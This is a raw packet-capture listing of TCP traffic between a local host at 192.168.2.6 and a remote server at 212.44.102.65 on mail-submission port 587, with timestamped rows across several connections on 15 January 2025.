Jan 15, 2025 08:43:44.906071901 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906075954 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.906085014 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906100988 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906120062 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.906143904 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906157017 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906169891 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906169891 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.906239986 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.909514904 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.909574032 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911024094 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911086082 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911102057 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911143064 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911164999 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911185980 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911207914 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911238909 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911243916 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911302090 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911392927 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911421061 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911437988 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911457062 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.911490917 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.911551952 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.914654970 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.914721012 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.916075945 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916100025 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916142941 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916157007 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916162014 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.916168928 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916193008 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916205883 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916220903 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916260958 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916285038 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916393995 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916429043 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916477919 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916495085 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916512966 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916542053 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.916558981 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917377949 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917396069 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917448044 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917481899 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917499065 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917516947 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.917534113 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.919629097 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.920780897 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.920799017 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.920814991 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.921091080 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.921106100 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.921214104 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.921231031 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.921260118 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.967219114 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.967340946 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.972286940 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.161616087 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.161920071 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.161986113 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.162018061 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.162158012 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.163681030 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.163708925 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.166754961 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.166872025 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.166887999 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.166923046 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.166930914 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.168582916 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168597937 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168654919 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168659925 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.168669939 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168684959 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168704033 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168728113 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.168737888 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168755054 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168761969 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.168777943 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.168778896 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.168802977 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.168824911 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.171787977 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.171834946 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173681021 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173697948 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173727989 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173758030 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173772097 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173805952 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173818111 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173846006 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173856020 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173885107 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173898935 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173942089 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173944950 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173962116 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.173990011 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.173990965 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.174006939 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.174041033 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.176764965 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.176819086 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.178706884 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.178767920 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.178802967 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.178905010 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.178924084 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179064035 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179095984 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179137945 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179162025 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179179907 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179245949 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179347992 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179380894 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179393053 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179409981 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179447889 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179465055 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179481983 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179510117 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179526091 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179569006 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179583073 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179641008 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179655075 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.179673910 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.181633949 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.181740046 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.181755066 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.181801081 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.183573008 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.183588028 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.183634043 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.183712959 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.183731079 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.353095055 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.418519020 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:45.615395069 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:45.692975998 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:48.243124008 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:48.248054981 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:48.639465094 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:48.639533997 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:48.639821053 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:48.639821053 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:48.643708944 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:48.644700050 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:48.648572922 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:48.648729086 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:49.234462023 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.234769106 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:49.239658117 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.428610086 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.428781986 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:49.433763981 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.622834921 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.628114939 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:49.633028030 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.836313009 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:49.836529970 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:49.841480970 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.037955046 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.070084095 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.075018883 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.309096098 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.310980082 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.315893888 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.505007982 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.505352974 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.505353928 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.505471945 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.505471945 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.506539106 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.510354042 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.510387897 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.510416985 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.510497093 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.510560989 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511449099 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511554956 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.511567116 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511595964 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511641979 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.511671066 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511701107 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511723042 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.511750937 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511779070 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511779070 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.511833906 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511862040 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.511873007 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.511910915 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.511941910 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.515384912 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.515508890 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.516720057 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.516815901 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.516825914 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.516853094 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.516904116 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.516910076 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.516942024 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.516964912 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.517004967 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.517009974 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.517080069 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.517108917 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.517113924 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.517137051 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.517154932 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.517226934 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.520524979 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522094965 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522129059 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522182941 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522212982 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:50.522217035 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522294044 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522326946 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522378922 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522412062 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522464991 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522519112 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522547960 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522599936 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522628069 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522680998 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522708893 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522762060 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522790909 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522821903 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522850037 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522898912 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522927046 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522954941 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.522983074 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.523010015 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.527935028 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.527966022 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528017998 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528045893 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528099060 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528127909 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528191090 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528218985 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.528249025 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:50.965713024 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:51.027895927 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:55.858501911 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:55.863656044 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:56.255269051 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:56.255354881 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:56.255475998 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:56.255811930 CET	50019	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:56.256639004 CET	50020	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:56.260279894 CET	587	50019	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:56.261610031 CET	587	50020	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:56.261918068 CET	50020	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:56.793803930 CET	50020	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:56.798933983 CET	587	50020	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:56.798991919 CET	50020	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:57.375052929 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:57.381057024 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:57.381135941 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:57.968069077 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:57.973679066 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:57.978482962 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.168167114 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.169864893 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:58.174765110 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.369111061 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.370098114 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:58.374924898 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.585093021 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.585357904 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:58.590756893 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.780577898 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:58.780719042 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:58.787574053 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.022542953 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.022677898 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.027510881 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.217644930 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.217967987 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.218007088 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.218049049 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.218094110 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.219604015 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.222774982 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.222800016 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.222810030 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.222853899 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.222959995 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224498034 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224508047 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224517107 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224531889 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224541903 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224570036 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.224598885 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.224603891 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224613905 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.224657059 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.227505922 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.227516890 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.227555037 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.227570057 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.227742910 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.227790117 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.229441881 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229463100 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229474068 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229530096 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.229593992 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229608059 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229645014 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.229659081 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.229686022 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229785919 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.229789019 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.229841948 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.232352972 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.232414007 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.232429028 CET	587	50021	212.44.102.65	192.168.2.6
